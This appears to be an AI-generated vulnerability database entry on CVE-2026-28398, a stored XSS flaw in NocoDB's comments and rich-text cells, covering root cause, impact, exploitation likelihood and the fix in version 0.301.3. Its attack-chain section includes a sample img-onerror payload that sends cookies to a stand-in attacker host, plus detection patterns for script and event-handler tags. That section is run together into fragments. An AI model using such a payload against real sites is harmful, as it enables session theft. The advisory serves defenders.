
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-28398 is a stored Cross-Site Scripting (XSS) vulnerability in NocoDB, an open-source platform for building databases as spreadsheets. User-controlled content in comments and rich text cells was rendered via Vue's v-html directive without sanitization, enabling persistent script injection. All NocoDB versions up to and including 0.301.2 (npm package) are affected; the issue was patched in version 0.301.3. It carries a CVSS v3.1 base score of 5.4 (Medium) and a CVSS v4.0 base score of 5.3 (Medium) (GitHub Advisory). The vulnerability was published on March 2, 2026, and reported by @bugbunny-research (bugbunny.ai) (NocoDB Advisory).
The root cause (CWE-79) lies in two frontend components — Comments.vue and TextArea.vue — which parsed user input with markdown-it configured with html: true and then injected the resulting HTML directly via v-html, bypassing sanitization. Although the codebase included vue-dompurify-html, these code paths did not use it. On the server side, Comment.insert() called extractProps() instead of the sanitizing variant extractPropsAndSanitize(), meaning malicious HTML was also persisted to the database without cleansing. Exploitation requires at minimum a Commenter role for the comments vector or an Editor role for rich text cells; a victim user must subsequently view the affected content to trigger script execution (NocoDB Advisory, GitHub Advisory). The same root cause was independently identified by GitHub Security Lab (see related advisories GHSA-rcph-x7mj-54mm and GHSA-wwp2-x4rj-j8rm).
Successful exploitation allows a low-privileged attacker to inject persistent malicious scripts that execute in the browsers of any user who views the affected comment or rich text cell. This can lead to session hijacking, unauthorized access to data visible within the victim's NocoDB session, and manipulation of database content on behalf of the victim. In multi-user or sensitive-data environments, the blast radius extends to all users with access to the compromised table or view (GitHub Advisory, NocoDB Advisory).
There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at the time of disclosure (GitHub Advisory). The EPSS score is approximately 0.041% (13th percentile), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported.
<img src=x onerror="document.location='https://attacker.example/steal?c='+document.cookie"> or a <script> tag that exfiltrates session tokens.markdown-it is configured with html: true and the content is stored via Comment.insert() without sanitization, the raw HTML is persisted to the database.v-html directive renders the stored HTML, executing the injected script in the victim's browser context.fetch or XMLHttpRequest calls to attacker-controlled endpoints visible in browser developer tools or proxy logs.<script>, <img onerror=, <svg onload=) from low-privileged accounts.<script>, event handler attributes (onerror, onload, onclick), or javascript: URIs.Upgrade NocoDB to version 0.301.3 or later, which replaces raw v-html rendering with vue-dompurify-html in the affected components and switches server-side comment insertion to use extractPropsAndSanitize() (NocoDB Release, NocoDB Advisory). No configuration-based workaround is available for versions prior to 0.301.3. Administrators should prioritize patching instances with multiple users or those handling sensitive data, and should audit existing comments and rich text cells for suspicious HTML content as a precautionary measure.
The vulnerability was independently reported by @bugbunny-research (bugbunny.ai) and also discovered by GitHub Security Lab (related advisories GHSA-rcph-x7mj-54mm and GHSA-wwp2-x4rj-j8rm), indicating notable research interest in NocoDB's input handling (NocoDB Advisory). The NocoDB maintainers acknowledged multiple security researchers in the 0.301.3 release notes and noted that full advisory details would be published after users had time to upgrade (NocoDB Release). No significant broader media coverage or social media discussion beyond standard CVE tracking feeds has been observed.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."